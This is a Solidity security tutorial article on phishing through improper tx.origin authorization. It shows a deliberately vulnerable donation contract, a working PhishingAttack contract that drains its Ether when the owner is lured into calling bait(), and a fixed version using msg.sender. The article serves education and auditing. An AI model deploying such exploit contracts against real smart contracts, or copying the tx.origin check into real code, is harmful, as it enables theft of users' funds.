Contents

Solidity Security By Example #07: Phishing With Improper Authorization


Originally published in Valix Consulting’s Medium.

Smart contract security is one of the biggest impediments toward the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Improper authorization is often caused by a lack of understanding of how the Solidity smart contract works, resulting in the contract being exploited. This article will explain how a smart contract with improper authorization can be phished and how to prevent it. Enjoy reading. ๐Ÿ˜Š

You can find all related source code at ๐Ÿ‘‰ https://github.com/serial-coder/solidity-security-by-example/tree/main/07_phishing_with_improper_authorization.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. ๐Ÿ•ต


Table of Contents


.    .    .

The Vulnerability


The code below presents the InsecureDonation contract in which a patron can donate some Ethers to the contract owner by calling the buyMeACoffee function (lines 10โ€“11). The contract owner can collect donated Ethers through the collectEthers function (lines 17โ€“22). And, we can get the locked Ether balance via the getBalance function (lines 13โ€“15).

Undoubtedly, the InsecureDonation contract is vulnerable. Can you detect the issue? ๐Ÿ‘€

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pragma solidity 0.8.17;

contract InsecureDonation {
    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    function buyMeACoffee() external payable {
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function collectEthers(address payable _to, uint256 _amount) external {
        require(tx.origin == owner, "Not owner");

        (bool success, ) = _to.call{value: _amount}("");
        require(success, "Failed to send Ether");
    }
}
InsecureDonation.sol


The InsecureDonation contract got the improper authorization issue in line 18 in the collectEthers function.

The require(tx.origin == owner, "Not owner"); statement is employed to authenticate whether or not a transaction caller (i.e., transaction originator) is a contract owner. In other words, the transaction caller will pass the require check if he is the contract owner. Then, he can withdraw locked Ethers on demand (lines 20โ€“21).

However, authenticating the transaction caller using the tx.origin parameter is prone to phishing attacks allowing an attacker to steal all Ethers locked in the InsecureDonation contract. ๐Ÿค”

Figure 1 below showcases how the phishing attack can bypass the improper authorization of the InsecureDonation contract. ๐Ÿ˜ง

Figure 1. How the phishing attack works

Figure 1. How the phishing attack works


An attacker deploys the PhishingAttack contract and make a persuasive campaign to bait the target contract owner (Step 3).

Once the campaign traps the contract owner, the owner unsuspectedly executes the bait function of the PhishingAttack contract (Step 4). The bait function then begins to steal the locked Ethers by invoking the collectEthers function of the InsecureDonation contract (Step 5).

Since the collectEthers function distinguishes the contract owner from others using the tx.origin parameter, the authentication check is bypassed because the originator of the transaction is the legitimate contract owner (from Step 4). As a result, the attacker can steal all locked Ethers (Step 6). ๐Ÿ™€


.    .    .

The Attack


The following presents the PhishingAttack contract in which an attacker can use this contract with a persuasive campaign to steal all Ethers locked in the InsecureDonation contract.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity 0.8.17;

interface IDonation {
    function collectEthers(address payable _to, uint256 _amount) external;
}

contract PhishingAttack {
    IDonation public immutable donationContract;

    constructor(IDonation _donationContract) {
        donationContract = _donationContract;
    }

    receive() external payable {}

    function bait() external {
        donationContract.collectEthers(
            payable(address(this)), 
            address(donationContract).balance
        );
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
PhishingAttack.sol


To exploit the InsecureDonation, an attacker has to trick a target contract owner into invoking the bait function of the PhishingAttack contract (lines 16โ€“21 above).

Figure 2. The attack result

Figure 2. The attack result


The result of the attack is shown in Figure 2. As you can see, the attacker could steal all 45 locked Ethers from the InsecureDonation to the PhishingAttack contract easily. ๐Ÿค‘


.    .    .

The Solution


The FixedDonation contract below is the fixed version of the InsecureDonation. ๐Ÿ‘จโ€๐Ÿ”ง

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pragma solidity 0.8.17;

contract FixedDonation {
    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    function buyMeACoffee() external payable {
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function collectEthers(address payable _to, uint256 _amount) external {
        require(msg.sender == owner, "Not owner");  // FIX: Use msg.sender instead of tx.origin

        (bool success, ) = _to.call{value: _amount}("");
        require(success, "Failed to send Ether");
    }
}
FixedDonation.sol


To fix the associated issue, we employ the msg.sender instead of the tx.origin parameter for authentication (line 18).

With the require(msg.sender == owner, โ€œNot ownerโ€); statement, the collectEthers function would authenticate a function caller instead of a transaction originator. This way, the phishing attack mentioned earlier would not be possible anymore.

Note, a function caller can be a different one (e.g., the PhishingAttack contract) from the transaction originator (e.g., the InsecureDonationโ€™s contract owner).


.    .    .

Summary


In this article, you have learned how the improper implementation of authentication and authorization mechanisms can lead to a phishing attack in the smart contract. You have understood how an attacker exploits the vulnerable contract and how to fix the issue. See you in the next article.

Again, you can find all related source code at ๐Ÿ‘‰ https://github.com/serial-coder/solidity-security-by-example/tree/main/07_phishing_with_improper_authorization.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the authorโ€™s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise with industry knowledge and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please get in touch with us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s Medium.